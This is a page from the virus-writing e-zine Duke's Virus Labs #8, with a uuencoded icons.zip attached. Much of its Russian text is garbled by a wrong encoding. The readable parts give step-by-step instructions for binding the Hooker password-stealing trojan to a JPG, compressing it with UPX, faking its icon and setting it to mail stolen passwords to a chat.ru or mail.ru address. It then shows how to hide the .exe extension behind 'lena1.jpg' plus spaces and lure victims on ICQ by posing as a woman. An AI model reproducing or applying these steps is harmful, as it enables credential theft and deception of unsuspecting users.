- [Duke's Virus Labs #8] - [Page 36] -

 ᤥ 쭮 ﭠ (ᮡ  窮)
(c) by Duke/SMF

  ᠭ  ﭨ  ⪨ 㪮⢮ Eprst', 
    ஬ ᯠᨡ :)))

  ᠫ  ,      ⮣, ⮡ ⮫
⥫  ᮢ襭 ࠢࠢ ﭨ,  ⮡  
஢ . ,  ᫥ ⥭ ⮩   㦥 
   ᠭ 㤮 ;) ⠩,  룫廊 
  ஭ 堪...

⠪,     Internet :)        :(
 쭮 ...  ⮣   祫,  ண
୥ 㦥 ,      ୥ ;))

筮-孨᪨ ண 襫 筮 , ⮬ ਬ
 ⢥ ⪨  ᭥ ஫/  ਤ. 㦭 ᥣ 
᫠ ⥭樠쭮 ⢥ ﭠ.

,   㦥 ⨫ -  뢠 " ᤥ",  
" "  . ⮬  ,    ,
   ⠢  㦤,     - ⮣    !

  ᫨    ﭠ ?  㦭  !  ७  ,
 ᪠ -  ᪠ ( ࠢ ᪨ ᠩ ८᪨ 
᫮),  ᠬ.

⠪,  室   稭饣 騪 :
- ⨫ Joiner v1.55 .  ᫥   䠩 EXE+EXE  EXE+JPG
   ⠪ ...
- ⨫ UPX v0.71 . 騪 PE-䠩.    㦭, ⮡  
    ᪥ 8-/    ⨢     ﭠ...
   ᯮ짮  0.71, ..   - .
-  Hooker v2.4 (http://hooker.da.ru). ⠫  ࠦ
  . 뫠   ஫, .    .
   㦠  襩 WEB-࠭ ᯮ 䠩  ᪠  
  ࠦ .     ࠢ  ᮧ 䠩,
  饣  襩 ࠭,  ࠭ ᪠祭 䠩,  ᫨ 㦥
  ,  몠稢 ( 窮!)  䠩  ᪠ . 
   ᫠  ࠦ᪨  쪮 稪,  
  ६ "㧨" 㣨  (ਬ, 騥 /஫ ᥪ),
  , .
- eXeScope - । ᮢ  EXE-䠩. 㦥 , ⮡ 
    ﭠ.    ᯮ짮 ணࠬ Microangelo.

롥६ ⥩訩 ( ਪ쭥訩 ;) ᯮᮡ 뫠    -
뫠 ⨭ १ ICQ. ,     ⠪ ICQ,  
ண  www.icq.com  www.mirabilis.com.  ᫨     
୥,  ⥬      .  ⢫ ⮩
樨  㦭   ᫥ ⨫  ICQ. , ⨭
   ;))

⠪,   .  㦭  ᪮ ⨭  ,
 ⥬ ᫠  .

1. 㦭 ।஢   䠩 ⨫ Joiner.  ⮣ ᪠
ணࠬ EXESCOPE.EXE, 롨ࠥ   "File/Open/All files", ।
뢠 䠩 JOINER.1  JOINER.2. 롨ࠥ  ॢ  ᮢ
 "Icon/MAINICON/1", 롨ࠥ   "File/Import" 䠩  㦭 .
᫨  ਪ९塞   ⨭ JPG,  㦭 뢠 䠩 JPG.ICO.
࠭   䠩.  ࠧ  ⨫ Joiner ⠭
  JPEG.

2. ᪮ 䠩 Joiner' 祭 訥,  ᫥  . 
⨭ 㤥 ⥫쭮 让  ࠧ. 祬    
䠩 ࠭ ?  ⮬,  ⮣    ᬮ ।஢  !
६ ⨫ UPX 0.71 (     ᨩ), ᪠ 
     UPX.EXE JOINER.1 --force-compress
     UPX.EXE JOINER.2 --force-compress
 砥   祬  2 ࠧ 䠩.

3. 䨣㥬 .
।   ᯫ 騪  www.mail.ru  www.chat.ru.
 www.chat.ru    3Mb   ࠭  㦠
ﭮ. ᫨  ॣ஢  www.chat.ru   XXXXX, 
 䠩 hkconf.ini  㦭 ࠢ ᪮쪮 権 :
     host=win.chat.ru
     mailfrom=XXXXX@chat.ru
     mailto=XXXXX@chat.ru
     http= <--       襩 ࠭   䠩
                㦠 ﭮ, ਬ
          www.chat.ru/~XXXXX/file.exe
᫨   騪  www.mail.ru,   㦭 ⠪ :
     host=smtp.mail.ru
     mailfrom=XXXXX@mail.ru
     mailto=XXXXX@mail.ru
᫥  䨣樮 䠩, ᪠
     HKCONF.EXE HOOKER.EXE HKCONF.INI

4.  ᪫ ! ᪠ JOINER.EXE, 롨ࠥ  ⢥ ࢮ 䠩
䠩 HOOKER.EXE,  ண 䠩 - ⨭. ᫨ ⪫ 뫪
ᮮ饭  쪥,  ࠧ 祭  㤥  ~100Kb  !
᫨   ⪫砥 饭,    ⠢   쪨 ;-)

5.    JOINER.EXE ᮧ 䠩 RESULT.EXE.  ⮢ .
  㦭 २  - ⨯ lena1.jpg<240 ஡>.exe
 뫪 ⮣ 䠩  ICQ ⥫ 㤥  ⮫쪮 "lena1.jpg".
 ᬮ ⮣ 䠩  DOS (ਬ   Dos Navigator), 
 㢨  LENA1~1.JPG.  ⠪ ᮡ DOS -   ᨬ
᫥ ࢮ 窨   䠩  ७ 䠩,  ᫨ ᫥
    㣨 ᨬ,        "~1".

6.  ⥯ ।⢥ ७ . 㦭   ICQ ⠢
"Sex: Female"  ਢ祭 ⥭樠 .  맢   ୥
  (롨ࠩ Find Random Partner)    ;-))
  ࠧ ७ 猪    稨 ⪨.  
ਬ୮ 룫廊 ⠪ ࠧ ( ॢ  ᪨) :
OH :   ⥡  ⪠ ?
 : .
 : 諨   !
 : ...  ...  - 㤮...
 : 祬 ?
 : ...  ⠬  ... 筥  ᮢᥬ ...
 :  !!!!!! 諨  ᢮  !!!!
 :     ᢮ ?
 :  !!! 쪮 諨  ᢮  !!!!!!
  㯠  뫪 ⮣䨨 .  㦥   ⥬
,     묨 㪠 (筥, ⥫ ;-)) ᫥ 祭 
 ௥ ⪭ 让  ,   类 ஦.   ⮫쪮
⮣   !  ⭮ த   ,  
,    ⮢    㣨  ⪠.
     頩   -  㦥    ⮢
騪  쬮  Hooker' ;-))))

祬   ⪭ 让,     ?
⮬  ᫥ 祭 䠩 쪠 뤠  - "  ४
 ᪠祭 䠩?".  ய 㢨 "" ⥫,   㤥 
 ஬,      ४.

祬   ⮨   㣨 ⮪ ?
  쪥 室 䠩   祫,    "Received Files"
ᮧ       UIN'.  ⮩  㤥 
 ⪠. 쪮  䠩 !   祭   -   JPG-䠩
 PhotoShop. ⮬   ᬮ ࠢ  襣 䠩  饩
    맮  ७ !

 ६  (ᯮ Hooker) ᫠  㦮  楫 
ﭮ  ஢, ३ ᠬ Hooker',   쭥襥 
⮫쪮  襩 䠭⠧, 㬠   ஢୮ ஢...

⥣᪨  ४ ᯮ짮  Naebi Coceda -  뫠
⮥ 訬 㤮 嫮 (஫//UIN')   , ⮬
    ⠭.

 ᫥ ᪮쪮 ᫮  ࠫ쭮 ஭ ...
 㯮ॡ ﭠ,   樨  墠祭 
(㬠 -   뫮 !),    ⮩ ଠ樥, ᫨
 ⮬  ࠩ 㦤.


P.S. ᪮  室騥   ⠪ , ਪ뢠 
 JPG,ZIP,HLP 䠩  setup.exe 䠩.

section 1 of file icons.zip  < uuencode by Dos Navigator >

table
`!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 644 icons.zip
M4$L#!!0````(`!:7$2>PE%/.-0$``/X"```(````2$5,4"Y)0T]UDK%.PS`0*
MAO\T1+"%B96,["A3AO`(EBI+D7@)MHS-@F#C$7B(BLE+'B4C8S<R5#GNSI<6@
M(_6<J_OY/ON:-$#&HZIN(?&]`>YX?N"L.)\@]2NM88,+,>B%88B3#/XRCB//0
MLD)Z@2A.,F1)/BY$X5+LBA0_7ER"U!<)4G\2%*E?!<6?]]X$0[Q%P1OZFRBX0
M743OHL"LZ$UP.T,37"_8U*O@M!J^Q&`!3F6MBX#B53=OZW@"T"F&?3P!)C0AC
MU"+`!%D0`29L>0OWT#OJ9+_UA`EA_ZB\"L]!]WNL0B/G>WMBL<4)UQ]Y?N!=_
MBBK@;W0I_O\[ST'T2;241/,UT903#1DMO#P#NPEH!^">M9+SFC/7U_$<&=>S4
MD9/=[,#)^[(CYP)[Y0;D-**D"2T=N-W,/8[<;VE)XA=02P,$%`````@`%)X+(
M)W[$5S<;`0``_@(```P```!)3E-4,S)?,2Y)0T^ED;].PS`0QJ\-4K-!%^:,-
MC)8\=$R'2(Q]BX[0+0.#+66(-XM'86+-P(,P,#!&"B(@53KN['.#RA\)\=E?0
M+K_[',N*`68TBN(,6,]S@'.J%^2"O`;.3T(&<_A!-DRP-A8>]-)U'57N8)B`6
M&`L/;O'CBQH=I83]391.?!^5%AQR?93+@BE7_\V=L]/Y,JWJVD*N=8DLI16.$
M%AHC/&3,^6H<A!5S8XR1#3009^,X>)0%_'UI5MXY?',>=4Z<#:WD.)P2@VI]"
M3[^NVF"OF*'URR6^;C=85<+O=XA7U[A_2GR+N"5^$,:DR.Z@-G`]*7`5M):+)
M3GRYJQ>[7SCHN_W<)]D>%MA#1IZ1@6W(Y9$A^9'<R4'2@3KIOY#W?_0'4$L#[
M!!0````(`"&>"R==7$N!,@$``/X"```,````24Y35#,R7S(N24-/A9*_3L,P%
M$,:O)9(](*43C%1,?0M2*2,/D\W9>EMNZV,@\1068LQ#("8&AHBEF3#?V4Y4B
M(BH^^[/]\UD7_PG1"F6[W9#J8TUT@WX';^&*-%[$&*WI@CA68DZ=%@R\]^AU$
M)L1*(:1.BTYILU3G'*=1.6A[#$'.X^".%]PNV#$C]RC"F9N8PCF9N:&!C,."^
MQ[[?YSAEKF\;:06:>-^(B\I<;UR(2ES4E22U;)&?ZBKMQ78L8%/$^/V.)29V(
M0Z7YGI_$<M<Y.02*^4ZZO1:;$2YJ2-F>.AM"@Z_TK\IT;'ZS'0CK^YF)+='U)
M&2-%Q'/^_(<7Z]-IBIGS:6=V63(_0;Z>?`U3?,QO))/PCQS>2O\P&'\W&E^&U
MX(D,?`6O8/K+3+-6L)F,>?,"O\-?\/<%!S7#GLH?4$L#!!0````(`/B6$2=.X
MKMB?^0```/X"```(````2E!%1RY)0T^MDCURQ"`,A>7=S&2[79JTN,PQ<B0Z`
MT>'.',O'2>N*5%'T9T,RLUV>K,4?$NPS-L#$,<\/$'U>`-YX?.><.3]`ZB]:S
M@PL\T:(7+(L-$GRS;1N/,D-Z`9$-$C(E/ZQ;[?JS\0UTV:G.#<O`#5FE,Z)-R
M.#=C[%RLP;BUXAW.A7*MG9$:6UM/+O0E7A%79=1VYER5\TH9!VZ9_TDVK,8%$
MM2:R.N'Q^,9X3K@?%'MBP?VK5W&D?"Q>W=]Q=N)W"J>,XQY#I$"[<XC,'`/O"
M''%@[9#U_'JL;NN3?!O#_BD\QG?WFH+=^.%C^E4VT0+P#?^;3S1Y7L4;]]TY@
MXP]02P,$%`````@`9*0*)YJ#?$OZ````_@(```D```!315154"Y)0T_%D#UNY
MPS`,A=G`@+6I4V>/W76!#-ISE6S,R*W<>B4?IR.!'(#EC]2F1COW2;3PB3*?C
M1(`G&]OV#*Z/$\"+K:\6F\49/+]$CD[PARAG+A8)9+'ON^UH3%#-Q8=OV>?>7
M?DJ/S(@W9G[#4#`:(U[=N'D].^"V(%":5I45V<'$P>)GJ[F59%VKVUMZ<)YU;
M)>N*./T&N]OZQ5G.=@87S@K4=.GGBQ:""F5RUP*/^7XIG**X?^\/;/66/OM:$
MF@A4&7E";N!VR^BZ<:W^A]]&)3A>\\VBU?KL_!ZL53@Z/YF$B1P',QR8?^=1#
M/WG<YS9XOL;[J9J]AKC570^"?]8G4$L#!!0````(`+J="R?(UB4&T````/X"C
M```,````5TE.6DE0,S(N24-/O9$QTH(P$(4?C"-_%RM;*;V%_U&L&#OIDB[I_
MX@P',B5'L;2D@RYN`H:$&8=*W^8E?+L)LP0@HRC+'9R>.;"G]4@NR?]P]8VO8
M(<<'*3^@U+BX<"F:VK:EC/4#UHZ+"Y=RTU+;6R3'=M;P->Z$X"QFK>N8;5>P<
M>#_\UTS<`8*:#?NYEP@LC3%W%G'3-)JE]7ZEGIRG!N+]PAC.V5_@OM'T,+/EX
MDOI3<?\]YW+M?L[C_PA\'>J4=5J_U"E7B_/3^ZJW/#^`XD=FY`/Y1)9D^T!F-
M7U!+`0(4`!0````(`!:7$2>PE%/.-0$``/X"```(````````````(```````T
M``!(14Q0+DE#3U!+`0(4`!0````(`!2>"R=^Q%<W&P$``/X"```,````````W
M````(````%L!``!)3E-4,S)?,2Y)0T]02P$"%``4````"``AG@LG75Q+@3(!W
M``#^`@``#````````````"````"@`@``24Y35#,R7S(N24-/4$L!`A0`%```M
M``@`^)81)TZNV)_Y````_@(```@````````````@````_`,``$I014<N24-/,
M4$L!`A0`%`````@`9*0*)YJ#?$OZ````_@(```D````````````@````&P4`(
M`%-%5%50+DE#3U!+`0(4`!0````(`+J="R?(UB4&T````/X"```,````````M
M````(````#P&``!724Y:25`S,BY)0T]02P4&``````8`!@!1`0``-@<`````M
``
end
sum -r/size 36879/3186 section (from "begin" to "end")
sum -r/size 58118/2205 entire input file

crc64 cfc54f4ab2b52293 section (from "begin" to "end")
crc64 073ee4458da7c7e4 entire input file

